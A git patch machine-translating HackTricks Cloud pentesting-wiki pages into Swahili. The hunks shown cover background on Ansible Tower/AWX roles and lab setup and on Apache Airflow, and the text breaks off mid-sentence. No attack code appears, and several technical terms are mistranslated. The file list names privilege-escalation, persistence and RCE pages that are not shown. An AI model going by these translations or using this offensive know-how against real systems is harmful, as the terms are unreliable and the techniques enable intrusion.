From b43d62ebcbbdf901a101b79f35dc2fe179dc7a81 Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 2 Jan 2025 01:22:11 +0000 Subject: [PATCH] Translated ['src/banners/hacktricks-training.md', 'src/pentesting-ci-cd/ --- src/banners/hacktricks-training.md | 2 +- ...ower-awx-automation-controller-security.md | 102 +++++----- .../apache-airflow-security/README.md | 24 +-- .../airflow-configuration.md | 34 ++-- .../apache-airflow-security/airflow-rbac.md | 4 +- src/pentesting-ci-cd/atlantis-security.md | 116 ++++++------ src/pentesting-ci-cd/circleci-security.md | 46 ++--- .../cloudflare-security/README.md | 48 ++--- .../cloudflare-security/cloudflare-domains.md | 84 ++++----- .../cloudflare-zero-trust-network.md | 10 +- .../concourse-security/README.md | 8 +- .../concourse-architecture.md | 12 +- .../concourse-enumeration-and-attacks.md | 118 ++++++------ .../concourse-lab-creation.md | 24 +-- src/pentesting-ci-cd/gitea-security/README.md | 68 +++---- .../gitea-security/basic-gitea-information.md | 88 ++++----- .../github-security/README.md | 100 +++++----- .../abusing-github-actions/README.md | 174 +++++++++--------- .../gh-actions-artifact-poisoning.md | 2 +- .../gh-actions-cache-poisoning.md | 2 +- .../gh-actions-context-script-injections.md | 2 +- .../accessible-deleted-data-in-github.md | 42 ++--- .../basic-github-information.md | 104 +++++------ .../jenkins-security/README.md | 88 ++++----- .../basic-jenkins-information.md | 62 +++---- ...itrary-file-read-to-rce-via-remember-me.md | 22 +-- .../jenkins-dumping-secrets-from-groovy.md | 2 +- ...jenkins-rce-creating-modifying-pipeline.md | 6 +- .../jenkins-rce-creating-modifying-project.md | 26 +-- .../jenkins-rce-with-groovy-script.md | 8 +- src/pentesting-ci-cd/okta-security/README.md | 56 +++--- .../okta-security/okta-hardening.md | 50 ++--- .../pentesting-ci-cd-methodology.md | 44 ++--- .../serverless.com-security.md | 172 ++++++++--------- src/pentesting-ci-cd/supabase-security.md | 18 +- src/pentesting-ci-cd/terraform-security.md | 108 +++++------ src/pentesting-ci-cd/todo.md | 2 +- .../travisci-security/README.md | 40 ++-- .../basic-travisci-information.md | 42 ++--- src/pentesting-ci-cd/vercel-security.md | 126 ++++++------- src/pentesting-cloud/aws-security/README.md | 46 ++--- .../aws-basic-information/README.md | 164 ++++++++--------- .../aws-federation-abuse.md | 10 +- .../aws-permissions-for-a-pentest.md | 4 +- .../aws-api-gateway-persistence.md | 10 +- .../aws-cognito-persistence.md | 6 +- .../aws-dynamodb-persistence.md | 6 +- .../aws-persistence/aws-ec2-persistence.md | 12 +- .../aws-persistence/aws-ecr-persistence.md | 6 +- .../aws-persistence/aws-ecs-persistence.md | 6 +- .../aws-persistence/aws-efs-persistence.md | 2 +- .../aws-elastic-beanstalk-persistence.md | 6 +- .../aws-persistence/aws-iam-persistence.md | 12 +- .../aws-persistence/aws-kms-persistence.md | 8 +- .../aws-lambda-persistence/README.md | 18 +- .../aws-abusing-lambda-extensions.md | 16 +- .../aws-lambda-layers-persistence.md | 42 ++--- .../aws-lightsail-persistence.md | 4 +- .../aws-persistence/aws-rds-persistence.md | 6 +- .../aws-persistence/aws-s3-persistence.md | 6 +- .../aws-secrets-manager-persistence.md | 2 +- .../aws-persistence/aws-sns-persistence.md | 6 +- .../aws-persistence/aws-sqs-persistence.md | 4 +- .../aws-persistence/aws-ssm-perssitence.md | 2 +- .../aws-step-functions-persistence.md | 6 +- .../aws-persistence/aws-sts-persistence.md | 12 +- .../aws-post-exploitation/README.md | 2 +- .../aws-api-gateway-post-exploitation.md | 18 +- .../aws-codebuild-post-exploitation/README.md | 20 +- .../aws-codebuild-token-leakage.md | 36 ++-- .../aws-control-tower-post-exploitation.md | 4 +- .../aws-dlm-post-exploitation.md | 8 +- .../aws-dynamodb-post-exploitation.md | 38 ++-- .../README.md | 42 ++--- .../aws-ebs-snapshot-dump.md | 36 ++-- .../aws-malicious-vpc-mirror.md | 8 +- .../aws-ecr-post-exploitation.md | 4 +- .../aws-ecs-post-exploitation.md | 14 +- .../aws-efs-post-exploitation.md | 6 +- .../aws-eks-post-exploitation.md | 30 +-- ...aws-elastic-beanstalk-post-exploitation.md | 12 +- .../aws-iam-post-exploitation.md | 16 +- .../aws-kms-post-exploitation.md | 24 ++- .../aws-lambda-post-exploitation/README.md | 2 +- .../aws-warm-lambda-persistence.md | 6 +- .../aws-lightsail-post-exploitation.md | 14 +- .../aws-organizations-post-exploitation.md | 2 +- .../aws-rds-post-exploitation.md | 8 +- .../aws-s3-post-exploitation.md | 16 +- .../aws-secrets-manager-post-exploitation.md | 10 +- .../aws-ses-post-exploitation.md | 18 +- .../aws-sns-post-exploitation.md | 10 +- .../aws-sqs-post-exploitation.md | 6 +- ...sso-and-identitystore-post-exploitation.md | 2 +- .../aws-stepfunctions-post-exploitation.md | 20 +- .../aws-sts-post-exploitation.md | 13 +- .../aws-privilege-escalation/README.md | 6 +- .../aws-apigateway-privesc.md | 8 +- .../aws-cloudformation-privesc/README.md | 20 +- ...stack-and-cloudformation-describestacks.md | 4 +- .../aws-codebuild-privesc.md | 20 +- .../aws-codepipeline-privesc.md | 6 +- .../aws-codestar-privesc/README.md | 14 +- ...ateproject-codestar-associateteammember.md | 2 +- .../iam-passrole-codestar-createproject.md | 4 +- .../aws-cognito-privesc.md | 46 ++--- .../aws-datapipeline-privesc.md | 8 +- .../aws-directory-services-privesc.md | 8 +- .../aws-dynamodb-privesc.md | 2 +- .../aws-ebs-privesc.md | 10 +- .../aws-ec2-privesc.md | 38 ++-- .../aws-ecr-privesc.md | 8 +- .../aws-ecs-privesc.md | 14 +- .../aws-efs-privesc.md | 12 +- .../aws-elastic-beanstalk-privesc.md | 20 +- .../aws-emr-privesc.md | 22 +-- .../aws-privilege-escalation/aws-gamelift.md | 2 +- .../aws-glue-privesc.md | 10 +- .../aws-iam-privesc.md | 52 +++--- .../aws-kms-privesc.md | 4 +- .../aws-lambda-privesc.md | 42 ++--- .../aws-lightsail-privesc.md | 22 +-- .../aws-mediapackage-privesc.md | 2 +- .../aws-mq-privesc.md | 10 +- .../aws-msk-privesc.md | 4 +- .../aws-organizations-prinvesc.md | 2 +- .../aws-rds-privesc.md | 36 ++-- .../aws-redshift-privesc.md | 10 +- .../aws-s3-privesc.md | 10 +- .../aws-sagemaker-privesc.md | 16 +- .../aws-secrets-manager-privesc.md | 2 +- .../aws-sns-privesc.md | 6 +- .../aws-sqs-privesc.md | 8 +- .../aws-ssm-privesc.md | 22 +-- .../aws-sso-and-identitystore-privesc.md | 18 +- .../aws-stepfunctions-privesc.md | 26 +-- .../aws-sts-privesc.md | 12 +- .../aws-workdocs-privesc.md | 6 +- .../eventbridgescheduler-privesc.md | 4 +- ...acm-pca-issuecertificate-acm-pca-getcer.md | 10 +- .../aws-security/aws-services/README.md | 12 +- .../aws-services/aws-api-gateway-enum.md | 36 ++-- ...m-and-private-certificate-authority-pca.md | 6 +- .../aws-cloudformation-and-codestar-enum.md | 10 +- .../aws-services/aws-cloudfront-enum.md | 10 +- .../aws-services/aws-cloudhsm-enum.md | 44 ++--- .../aws-services/aws-codebuild-enum.md | 8 +- .../aws-services/aws-cognito-enum/README.md | 10 +- .../cognito-identity-pools.md | 42 ++--- .../aws-cognito-enum/cognito-user-pools.md | 98 +++++----- ...e-codepipeline-codebuild-and-codecommit.md | 14 +- .../aws-directory-services-workdocs-enum.md | 12 +- .../aws-services/aws-dynamodb-enum.md | 32 ++-- .../README.md | 48 ++--- .../aws-nitro-enum.md | 44 ++--- ...ws-vpc-and-networking-basic-information.md | 2 +- .../aws-security/aws-services/aws-ecr-enum.md | 18 +- .../aws-security/aws-services/aws-ecs-enum.md | 22 +-- .../aws-security/aws-services/aws-efs-enum.md | 30 +-- .../aws-security/aws-services/aws-eks-enum.md | 10 +- .../aws-elastic-beanstalk-enum.md | 16 +- .../aws-services/aws-elasticache.md | 2 +- .../aws-security/aws-services/aws-emr-enum.md | 20 +- .../aws-security/aws-services/aws-iam-enum.md | 52 +++--- .../aws-kinesis-data-firehose-enum.md | 6 +- .../aws-security/aws-services/aws-kms-enum.md | 42 ++--- .../aws-services/aws-lambda-enum.md | 40 ++-- .../aws-services/aws-lightsail-enum.md | 4 +- .../aws-security/aws-services/aws-mq-enum.md | 10 +- .../aws-security/aws-services/aws-msk-enum.md | 14 +- .../aws-services/aws-organizations-enum.md | 2 +- .../aws-services/aws-redshift-enum.md | 26 +-- .../aws-relational-database-rds-enum.md | 32 ++-- .../aws-services/aws-route53-enum.md | 2 +- .../aws-s3-athena-and-glacier-enum.md | 62 +++---- .../aws-services/aws-secrets-manager-enum.md | 8 +- .../README.md | 2 +- .../aws-cloudtrail-enum.md | 94 +++++----- .../aws-cloudwatch-enum.md | 80 ++++---- .../aws-config-enum.md | 24 +-- .../aws-control-tower-enum.md | 8 +- .../aws-cost-explorer-enum.md | 2 +- .../aws-detective-enum.md | 4 +- .../aws-firewall-manager-enum.md | 84 ++++----- .../aws-guardduty-enum.md | 38 ++-- .../aws-inspector-enum.md | 88 ++++----- .../aws-macie-enum.md | 22 +-- .../aws-security-hub-enum.md | 10 +- .../aws-shield-enum.md | 2 +- .../aws-trusted-advisor-enum.md | 12 +- .../aws-waf-enum.md | 90 ++++----- .../aws-security/aws-services/aws-ses-enum.md | 8 +- .../aws-security/aws-services/aws-sns-enum.md | 14 +- .../aws-services/aws-sqs-and-sns-enum.md | 4 +- .../aws-services/aws-stepfunctions-enum.md | 44 ++--- .../aws-security/aws-services/aws-sts-enum.md | 16 +- .../aws-services/eventbridgescheduler-enum.md | 26 +-- .../aws-unauthenticated-enum-access/README.md | 6 +- .../aws-accounts-unauthenticated-enum.md | 4 +- .../aws-api-gateway-unauthenticated-enum.md | 26 +-- .../aws-cloudfront-unauthenticated-enum.md | 2 +- .../aws-codebuild-unauthenticated-access.md | 8 +- .../aws-cognito-unauthenticated-enum.md | 12 +- .../aws-dynamodb-unauthenticated-access.md | 4 +- .../aws-ec2-unauthenticated-enum.md | 2 +- .../aws-ecr-unauthenticated-enum.md | 4 +- ...-elastic-beanstalk-unauthenticated-enum.md | 10 +- .../aws-iam-and-sts-unauthenticated-enum.md | 32 ++-- ...ity-center-and-sso-unauthenticated-enum.md | 34 ++-- .../aws-kinesis-video-unauthenticated-enum.md | 2 +- .../aws-lambda-unauthenticated-access.md | 12 +- .../aws-mq-unauthenticated-enum.md | 4 +- .../aws-msk-unauthenticated-enum.md | 2 +- .../aws-rds-unauthenticated-enum.md | 2 +- .../aws-s3-unauthenticated-enum.md | 68 +++---- .../aws-sns-unauthenticated-enum.md | 6 +- .../aws-sqs-unauthenticated-enum.md | 8 +- src/pentesting-cloud/azure-security/README.md | 36 ++-- .../az-basic-information/README.md | 156 ++++++++-------- .../az-tokens-and-public-applications.md | 33 ++-- .../azure-security/az-device-registration.md | 30 +-- .../azure-security/az-enumeration-tools.md | 12 +- .../README.md | 22 +-- .../az-arc-vulnerable-gpo-deploy-script.md | 22 +-- .../az-local-cloud-credentials.md | 18 +- .../az-pass-the-certificate.md | 16 +- .../az-pass-the-cookie.md | 6 +- .../az-primary-refresh-token-prt.md | 2 +- .../az-processes-memory-access-token.md | 6 +- .../az-cloud-kerberos-trust.md | 22 +-- .../az-default-applications.md | 4 +- .../az-synchronising-new-users.md | 10 +- .../federation.md | 46 ++--- .../phs-password-hash-sync.md | 26 +-- .../pass-the-prt.md | 64 +++---- .../az-permissions-for-a-pentest.md | 2 +- .../pentesting-cloud-methodology.md | 50 ++--- 237 files changed, 2953 insertions(+), 2957 deletions(-) diff --git a/src/banners/hacktricks-training.md b/src/banners/hacktricks-training.md index 1d810d657..bdda8fc57 100644 --- a/src/banners/hacktricks-training.md +++ b/src/banners/hacktricks-training.md @@ -8,6 +8,6 @@ > > - Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)! > - **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -> - **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github. +> - **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github. > > diff --git a/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md b/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md index 0199a17a0..864bc1a4a 100644 --- a/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md +++ b/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md @@ -1,60 +1,60 @@ -# Ansible Tower / AWX / Automation controller Security +# Usalama wa Ansible Tower / AWX / Automation controller {{#include ../banners/hacktricks-training.md}} -## Basic Information +## Taarifa za Msingi -**Ansible Tower** au toleo lake la wazi [**AWX**](https://github.com/ansible/awx) pia inajulikana kama **kiwango cha mtumiaji wa Ansible, dashibodi, na REST API**. Pamoja na **udhibiti wa ufikiaji kulingana na majukumu**, kupanga kazi, na usimamizi wa hesabu wa picha, unaweza kusimamia miundombinu yako ya Ansible kutoka kwa UI ya kisasa. REST API ya Tower na kiolesura cha amri hufanya iwe rahisi kuunganisha na zana na mifumo ya kazi ya sasa. +**Ansible Tower** au toleo lake la wazi [**AWX**](https://github.com/ansible/awx) pia linajulikana kama **kiwango cha mtumiaji wa Ansible, dashibodi, na REST API**. Pamoja na **udhibiti wa ufikiaji kulingana na majukumu**, kupanga kazi, na usimamizi wa picha wa hesabu, unaweza kusimamia miundombinu yako ya Ansible kutoka kwa UI ya kisasa. REST API ya Tower na kiolesura cha amri hufanya iwe rahisi kuunganisha na zana na mifumo ya kazi ya sasa. **Automation Controller ni toleo jipya** la Ansible Tower lenye uwezo zaidi. -### Differences +### Tofauti -Kulingana na [**hii**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-65cfec78db00), tofauti kuu kati ya Ansible Tower na AWX ni msaada uliopokelewa na Ansible Tower ina vipengele vya ziada kama udhibiti wa ufikiaji kulingana na majukumu, msaada wa APIs za kawaida, na mifumo ya kazi iliyofafanuliwa na mtumiaji. +Kulingana na [**hii**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-65cfec78db00), tofauti kuu kati ya Ansible Tower na AWX ni msaada unaopatikana na Ansible Tower ina vipengele vya ziada kama vile udhibiti wa ufikiaji kulingana na majukumu, msaada wa APIs za kawaida, na mifumo ya kazi iliyofafanuliwa na mtumiaji. -### Tech Stack +### Teknohali -- **Web Interface**: Hii ni kiolesura cha picha ambapo watumiaji wanaweza kusimamia hesabu, ithibati, templeti, na kazi. Imeundwa kuwa ya kueleweka na inatoa picha kusaidia kuelewa hali na matokeo ya kazi zako za automatisering. -- **REST API**: Kila kitu unachoweza kufanya kwenye kiolesura cha wavuti, unaweza pia kufanya kupitia REST API. Hii inamaanisha unaweza kuunganisha AWX/Tower na mifumo mingine au kuandika hatua ambazo ungeweza kufanya kawaida kwenye kiolesura. -- **Database**: AWX/Tower inatumia hifadhidata (kawaida PostgreSQL) kuhifadhi usanidi wake, matokeo ya kazi, na data nyingine muhimu za uendeshaji. +- **Kiolesura cha Mtandao**: Hii ni kiolesura cha picha ambapo watumiaji wanaweza kusimamia hesabu, ithibati, templeti, na kazi. Imeundwa kuwa ya kueleweka na inatoa picha kusaidia kuelewa hali na matokeo ya kazi zako za automatisering. +- **REST API**: Kila kitu unachoweza kufanya katika kiolesura cha mtandao, unaweza pia kufanya kupitia REST API. Hii inamaanisha unaweza kuunganisha AWX/Tower na mifumo mingine au kuandika hatua ambazo ungeweza kufanya kawaida katika kiolesura. +- **Hifadhidata**: AWX/Tower inatumia hifadhidata (kawaida PostgreSQL) kuhifadhi usanidi wake, matokeo ya kazi, na data nyingine muhimu za uendeshaji. - **RabbitMQ**: Hii ni mfumo wa ujumbe unaotumiwa na AWX/Tower kuwasiliana kati ya vipengele tofauti, hasa kati ya huduma ya wavuti na waendesha kazi. - **Redis**: Redis inatumika kama cache na nyuma ya foleni ya kazi. -### Logical Components +### Vipengele vya Kihisia -- **Inventories**: Hesabu ni **mkusanyiko wa wenyeji (au nodi)** ambao **kazi** (Ansible playbooks) zinaweza **kufanywa**. AWX/Tower inakuwezesha kufafanua na kuunganisha hesabu zako na pia inasaidia hesabu za kidinamik ambazo zinaweza **kupata orodha za wenyeji kutoka mifumo mingine** kama AWS, Azure, nk. -- **Projects**: Mradi kimsingi ni **mkusanyiko wa Ansible playbooks** zinazotolewa kutoka kwa **mfumo wa udhibiti wa toleo** (kama Git) ili kuvuta playbooks za hivi karibuni inapohitajika. -- **Templates**: Templeti za kazi zinafafanua **jinsi playbook fulani itakavyofanywa**, ikitaja **hesabu**, **ithibati**, na **vigezo** vingine vya kazi. -- **Credentials**: AWX/Tower inatoa njia salama ya **kusimamia na kuhifadhi siri, kama funguo za SSH, nywila, na token za API**. Ithibati hizi zinaweza kuunganishwa na templeti za kazi ili playbooks zipate ufikiaji unaohitajika zinapofanya kazi. -- **Task Engine**: Hapa ndipo uchawi unafanyika. Injini ya kazi imejengwa juu ya Ansible na inawajibika kwa **kufanya playbooks**. Kazi zinatumwa kwa injini ya kazi, ambayo kisha inafanya playbooks za Ansible dhidi ya hesabu iliyotengwa kwa kutumia ithibati zilizotolewa. -- **Schedulers and Callbacks**: Hizi ni vipengele vya juu katika AWX/Tower vinavyoruhusu **kazi kuandaliwa** kufanywa kwa nyakati maalum au kuanzishwa na matukio ya nje. -- **Notifications**: AWX/Tower inaweza kutuma arifa kulingana na mafanikio au kushindwa kwa kazi. Inasaidia njia mbalimbali za arifa kama barua pepe, ujumbe wa Slack, webhooks, nk. -- **Ansible Playbooks**: Ansible playbooks ni zana za usanidi, uwekaji, na uratibu. Zinabainisha hali inayotakiwa ya mifumo kwa njia ya automatisering, inayoweza kurudiwa. Imeandikwa kwa YAML, playbooks hutumia lugha ya automatisering ya kutangulia ya Ansible kuelezea usanidi, kazi, na hatua zinazohitajika kutekelezwa. +- **Hesabu**: Hesabu ni **mkusanyiko wa wenyeji (au nodi)** ambao **kazi** (Ansible playbooks) zinaweza **kufanywa**. AWX/Tower inakuruhusu kufafanua na kuunganisha hesabu zako na pia inasaidia hesabu za kidinamik ambazo zinaweza **kupata orodha za wenyeji kutoka mifumo mingine** kama AWS, Azure, n.k. +- **Miradi**: Mradi kimsingi ni **mkusanyiko wa Ansible playbooks** zinazopatikana kutoka kwa **mfumo wa udhibiti wa toleo** (kama Git) ili kuvuta playbooks za hivi punde inapohitajika. +- **Templeti**: Templeti za kazi zinafafanua **jinsi playbook fulani itakavyofanywa**, zikielezea **hesabu**, **ithibati**, na **vigezo** vingine vya kazi. +- **Ithibati**: AWX/Tower inatoa njia salama ya **kusimamia na kuhifadhi siri, kama funguo za SSH, nywila, na token za API**. Ithibati hizi zinaweza kuunganishwa na templeti za kazi ili playbooks ziwe na ufikiaji unaohitajika zinapofanywa. +- **Mhandisi wa Kazi**: Hapa ndipo uchawi unafanyika. Mhandisi wa kazi umejengwa juu ya Ansible na unawajibika kwa **kufanya playbooks**. Kazi zinatumwa kwa mhandisi wa kazi, ambaye kisha anafanya playbooks za Ansible dhidi ya hesabu iliyoteuliwa kwa kutumia ithibati zilizotolewa. +- **Wapangaji na Mkurugenzi**: Hizi ni vipengele vya juu katika AWX/Tower vinavyoruhusu **kazi kuandaliwa** kufanywa kwa nyakati maalum au kuanzishwa na matukio ya nje. +- **Arifa**: AWX/Tower inaweza kutuma arifa kulingana na mafanikio au kushindwa kwa kazi. Inasaidia njia mbalimbali za arifa kama barua pepe, ujumbe wa Slack, webhooks, n.k. +- **Ansible Playbooks**: Ansible playbooks ni zana za usanidi, uwekaji, na uratibu. Zinabainisha hali inayotakiwa ya mifumo kwa njia ya automatisering, inayoweza kurudiwa. Imeandikwa kwa YAML, playbooks hutumia lugha ya automatisering ya Ansible kuelezea usanidi, kazi, na hatua zinazohitajika kutekelezwa. -### Job Execution Flow +### Mchakato wa Utekelezaji wa Kazi -1. **User Interaction**: Mtumiaji anaweza kuingiliana na AWX/Tower ama kupitia **Web Interface** au **REST API**. Hizi zinatoa ufikiaji wa mbele kwa kazi zote zinazotolewa na AWX/Tower. -2. **Job Initiation**: -- Mtumiaji, kupitia Web Interface au API, anaanzisha kazi kulingana na **Job Template**. -- Job Template inajumuisha marejeleo kwa **Hesabu**, **Mradi** (unaoshikilia playbook), na **Ithibati**. -- Mara kazi inapoanzishwa, ombi linawekwa kwa AWX/Tower backend ili kuorodhesha kazi hiyo kwa utekelezaji. -3. **Job Queuing**: -- **RabbitMQ** inashughulikia ujumbe kati ya kipengele cha wavuti na waendesha kazi. Mara kazi inapoanzishwa, ujumbe unatumwa kwa injini ya kazi kwa kutumia RabbitMQ. -- **Redis** inafanya kazi kama nyuma ya foleni ya kazi, ikisimamia kazi zilizoorodheshwa zinazosubiri utekelezaji. -4. **Job Execution**: -- **Task Engine** inachukua kazi iliyoorodheshwa. Inapata taarifa muhimu kutoka kwa **Database** kuhusu playbook inayohusishwa na kazi, hesabu, na ithibati. -- Kwa kutumia playbook ya Ansible iliyopatikana kutoka kwa **Mradi** uliohusishwa, Injini ya Kazi inafanya playbook dhidi ya nodi za **Hesabu** zilizotajwa kwa kutumia **Ithibati** zilizotolewa. -- Wakati playbook inafanya kazi, matokeo yake ya utekelezaji (kumbukumbu, ukweli, nk) yanakusanywa na kuhifadhiwa katika **Database**. -5. **Job Results**: -- Mara playbook inapokamilisha kazi, matokeo (mafanikio, kushindwa, kumbukumbu) yanahifadhiwa kwenye **Database**. -- Watumiaji wanaweza kisha kuona matokeo kupitia Web Interface au kuyatafuta kupitia REST API. -- Kulingana na matokeo ya kazi, **Arifa** zinaweza kutumwa ili kuwajulisha watumiaji au mifumo ya nje kuhusu hali ya kazi. Arifa zinaweza kuwa barua pepe, ujumbe wa Slack, webhooks, nk. -6. **External Systems Integration**: -- **Hesabu** zinaweza kupatikana kwa kidinamik kutoka mifumo ya nje, ikiruhusu AWX/Tower kuvuta wenyeji kutoka vyanzo kama AWS, Azure, VMware, na zaidi. +1. **Mingiliano ya Mtumiaji**: Mtumiaji anaweza kuingiliana na AWX/Tower kupitia **Kiolesura cha Mtandao** au **REST API**. Hizi zinatoa ufikiaji wa mbele kwa kazi zote zinazotolewa na AWX/Tower. +2. **Kuanza Kazi**: +- Mtumiaji, kupitia Kiolesura cha Mtandao au API, anaanzisha kazi kulingana na **Templeti ya Kazi**. +- Templeti ya Kazi inajumuisha marejeleo kwa **Hesabu**, **Mradi** (unaoshikilia playbook), na **Ithibati**. +- Mara kazi inapoanzishwa, ombi linawekwa kwa AWX/Tower nyuma ili kuweka kazi hiyo kwa utekelezaji. +3. **Kuweka Kazi**: +- **RabbitMQ** inashughulikia ujumbe kati ya kipengele cha wavuti na waendesha kazi. Mara kazi inapoanzishwa, ujumbe unatumwa kwa mhandisi wa kazi kwa kutumia RabbitMQ. +- **Redis** inafanya kazi kama nyuma ya foleni ya kazi, ikisimamia kazi zilizowekwa zinazosubiri utekelezaji. +4. **Utekelezaji wa Kazi**: +- **Mhandisi wa Kazi** anachukua kazi iliyowekwa. Inapata taarifa muhimu kutoka kwa **Hifadhidata** kuhusu playbook inayohusishwa na kazi, hesabu, na ithibati. +- Kwa kutumia playbook ya Ansible iliyopatikana kutoka kwa **Mradi** uliohusishwa, Mhandisi wa Kazi anafanya playbook dhidi ya nodi za **Hesabu** zilizotolewa kwa kutumia **Ithibati** zilizotolewa. +- Wakati playbook inatekelezwa, matokeo yake ya utekelezaji (kumbukumbu, ukweli, n.k.) yanakusanywa na kuhifadhiwa katika **Hifadhidata**. +5. **Matokeo ya Kazi**: +- Mara playbook inapokamilisha utekelezaji, matokeo (mafanikio, kushindwa, kumbukumbu) yanahifadhiwa katika **Hifadhidata**. +- Watumiaji wanaweza kisha kuona matokeo kupitia Kiolesura cha Mtandao au kuyatafuta kupitia REST API. +- Kulingana na matokeo ya kazi, **Arifa** zinaweza kutumwa ili kuwajulisha watumiaji au mifumo ya nje kuhusu hali ya kazi. Arifa zinaweza kuwa barua pepe, ujumbe wa Slack, webhooks, n.k. +6. **Ushirikiano wa Mifumo ya Nje**: +- **Hesabu** zinaweza kupatikana kwa kidinamik kutoka mifumo ya nje, kuruhusu AWX/Tower kuvuta wenyeji kutoka vyanzo kama AWS, Azure, VMware, na zaidi. - **Miradi** (playbooks) zinaweza kupatikana kutoka kwa mifumo ya udhibiti wa toleo, kuhakikisha matumizi ya playbooks za kisasa wakati wa utekelezaji wa kazi. -- **Schedulers and Callbacks** zinaweza kutumika kuunganisha na mifumo au zana nyingine, ikifanya AWX/Tower kujibu vichocheo vya nje au kufanya kazi kwa nyakati zilizopangwa. +- **Wapangaji na Mkurugenzi** wanaweza kutumika kuunganisha na mifumo au zana nyingine, na kufanya AWX/Tower ijibu kwa vichocheo vya nje au kufanya kazi kwa nyakati zilizowekwa. -### AWX lab creation for testing +### Uundaji wa maabara ya AWX kwa ajili ya majaribio [**Kufuata nyaraka**](https://github.com/ansible/awx/blob/devel/tools/docker-compose/README.md) inawezekana kutumia docker-compose kuendesha AWX: ```bash @@ -86,35 +86,35 @@ docker exec tools_awx_1 awx-manage create_preload_data ### Supported roles -The most privileged role is called **System Administrator**. Anyone with this role can **modify anything**. +Jukumu lenye mamlaka zaidi linaitwa **System Administrator**. Mtu yeyote mwenye jukumu hili anaweza **kubadilisha chochote**. -From a **white box security** review, you would need the **System Auditor role**, which allow to **view all system data** but cannot make any changes. Another option would be to get the **Organization Auditor role**, but it would be better to get the other one. +Kutoka kwenye **white box security** ukaguzi, unahitaji **System Auditor role**, ambayo inaruhusu **kuangalia data zote za mfumo** lakini haiwezi kufanya mabadiliko yoyote. Chaguo lingine lingekuwa kupata **Organization Auditor role**, lakini itakuwa bora kupata ile nyingine.
Expand this to get detailed description of available roles 1. **System Administrator**: -- This is the superuser role with permissions to access and modify any resource in the system. -- They can manage all organizations, teams, projects, inventories, job templates, etc. +- Hii ni jukumu la superuser lenye ruhusa za kufikia na kubadilisha rasilimali yoyote katika mfumo. +- Wanaweza kusimamia mashirika yote, timu, miradi, orodha, templeti za kazi, nk. 2. **System Auditor**: -- Users with this role can view all system data but cannot make any changes. -- This role is designed for compliance and oversight. +- Watumiaji wenye jukumu hili wanaweza kuona data zote za mfumo lakini hawawezi kufanya mabadiliko yoyote. +- Jukumu hili limetengwa kwa ajili ya kufuata sheria na uangalizi. 3. **Organization Roles**: - **Admin**: Udhibiti kamili juu ya rasilimali za shirika. -- **Auditor**: Ufikiaji wa kuangalia tu kwa rasilimali za shirika. +- **Auditor**: Ufikiaji wa kuangalia tu kwenye rasilimali za shirika. - **Member**: Uanachama wa msingi katika shirika bila ruhusa maalum. - **Execute**: Anaweza kuendesha templeti za kazi ndani ya shirika. - **Read**: Anaweza kuona rasilimali za shirika. 4. **Project Roles**: - **Admin**: Anaweza kusimamia na kubadilisha mradi. - **Use**: Anaweza kutumia mradi katika templeti ya kazi. -- **Update**: Anaweza kuboresha mradi kwa kutumia SCM (udhibiti wa chanzo). +- **Update**: Anaweza kuboresha mradi kwa kutumia SCM (source control). 5. **Inventory Roles**: -- **Admin**: Anaweza kusimamia na kubadilisha hesabu. -- **Ad Hoc**: Anaweza kuendesha amri za ad hoc kwenye hesabu. -- **Update**: Anaweza kuboresha chanzo cha hesabu. -- **Use**: Anaweza kutumia hesabu katika templeti ya kazi. +- **Admin**: Anaweza kusimamia na kubadilisha orodha. +- **Ad Hoc**: Anaweza kuendesha amri za ad hoc kwenye orodha. +- **Update**: Anaweza kuboresha chanzo cha orodha. +- **Use**: Anaweza kutumia orodha katika templeti ya kazi. - **Read**: Ufikiaji wa kuangalia tu. 6. **Job Template Roles**: - **Admin**: Anaweza kusimamia na kubadilisha templeti ya kazi. diff --git a/src/pentesting-ci-cd/apache-airflow-security/README.md b/src/pentesting-ci-cd/apache-airflow-security/README.md index 3fdb9cb25..157cabca1 100644 --- a/src/pentesting-ci-cd/apache-airflow-security/README.md +++ b/src/pentesting-ci-cd/apache-airflow-security/README.md @@ -1,14 +1,14 @@ -# Apache Airflow Security +# Usalama wa Apache Airflow {{#include ../../banners/hacktricks-training.md}} -### Basic Information +### Taarifa za Msingi [**Apache Airflow**](https://airflow.apache.org) inatumika kama jukwaa la **kuandaa na kupanga mipango ya data au kazi**. Neno "kuandaa" katika muktadha wa mipango ya data linaashiria mchakato wa kupanga, kuratibu, na kusimamia kazi ngumu za data zinazotokana na vyanzo mbalimbali. Lengo kuu la mipango hii ya data iliyopangwa ni kutoa seti za data zilizoshughulikiwa na zinazoweza kutumika. Seti hizi za data zinatumika sana na maombi mengi, ikiwa ni pamoja na lakini sio tu zana za akili ya biashara, sayansi ya data na mifano ya kujifunza mashine, ambazo zote ni msingi wa utendaji wa maombi makubwa ya data. Kwa msingi, Apache Airflow itakuruhusu **kupanga utekelezaji wa msimbo wakati kitu** (tukio, cron) **kinatokea**. -### Local Lab +### Maabara ya Mitaa #### Docker-Compose @@ -16,7 +16,7 @@ Unaweza kutumia **faili ya usanidi ya docker-compose kutoka** [**https://raw.git #### Minikube -Njia moja rahisi ya **kufanya kazi apache airflow** ni kuikimbia **na minikube**: +Njia moja rahisi ya **kufanya kazi na apache airflo**w ni kuikimbia **na minikube**: ```bash helm repo add airflow-stable https://airflow-helm.github.io/charts helm repo update @@ -64,20 +64,20 @@ Airflow kwa kawaida itaonyesha thamani ya variable katika GUI, hata hivyo, kulin Hata hivyo, hizi 